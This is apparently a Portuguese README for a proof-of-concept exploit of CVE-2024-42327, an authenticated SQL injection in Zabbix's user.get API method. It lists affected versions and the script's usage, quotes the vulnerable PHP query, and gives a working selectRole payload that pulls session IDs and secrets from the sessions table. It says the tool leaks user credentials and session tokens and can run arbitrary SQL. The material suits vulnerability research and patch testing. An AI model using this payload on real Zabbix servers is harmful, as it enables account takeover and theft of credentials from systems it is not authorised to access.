
POC para CVE-2024-42327, uma injeção SQL autenticada no Zabbix através do método de API user.get
POC para CVE-2024-42327, uma Injeção SQL autenticada no Zabbix através do método de API user.get. Este POC não é baseado em tempo como alguns dos outros POCs que já vi por aí.
A vulnerabilidade existe no endpoint da API user.get que pode ser explorada por um usuário não administrador com acesso à API, incluindo contas com o perfil de Usuário padrão.
A falha de injeção SQL existe na classe CUser, na função addRelatedObjects. Essa função é chamada a partir da função CUser.get, que está disponível para usuários com acesso à API.
Um atacante pode injetar comandos SQL manipulando chamadas de API.
A exploração bem-sucedida da vulnerabilidade pode permitir que um atacante obtenha acesso e controle não autorizados.
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0
Este POC vazará credenciais de usuário do banco de dados, bem como tokens de sessão para autenticar na API.
Existe a opção de executar uma consulta SQL personalizada (--query).
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]
Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.
options:
-h, --help show this help message and exit
-u URL, --url URL The URL to Zabbix (please include the path - http://example.com/zabbix/)
-U USERNAME, --username USERNAME
The username to authenticate with
-P PASSWORD, --password PASSWORD
The password to authenticate with
--query QUERY An optional custom SQL query to run through the SQL Injection
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
Examinando o código em https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php na função addRelatedObjects, encontramos facilmente a consulta SQL vulnerável (linhas 3046 - 3051)
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
É imediatamente óbvio que os valores incluídos em $options['selectRole'] são passados para a consulta SQL.
Um JSON Blob típico para atingir essa parte do código tem a seguinte aparência:
{
"jsonrpc": "2.0",
"auth": "AUTH_TOKEN_HERE",
"id": 1,
"method": "user.get",
"params": {
"output": [
"userid",
"username"
],
"selectRole": [
"type",
"roleid",
"name",
"readonly"
]
}
}
Podemos manipular os valores de "selectRole" para permitir a Injeção SQL
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
A injeção acima faz com que a consulta SQL fique algo como o exemplo a seguir:
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)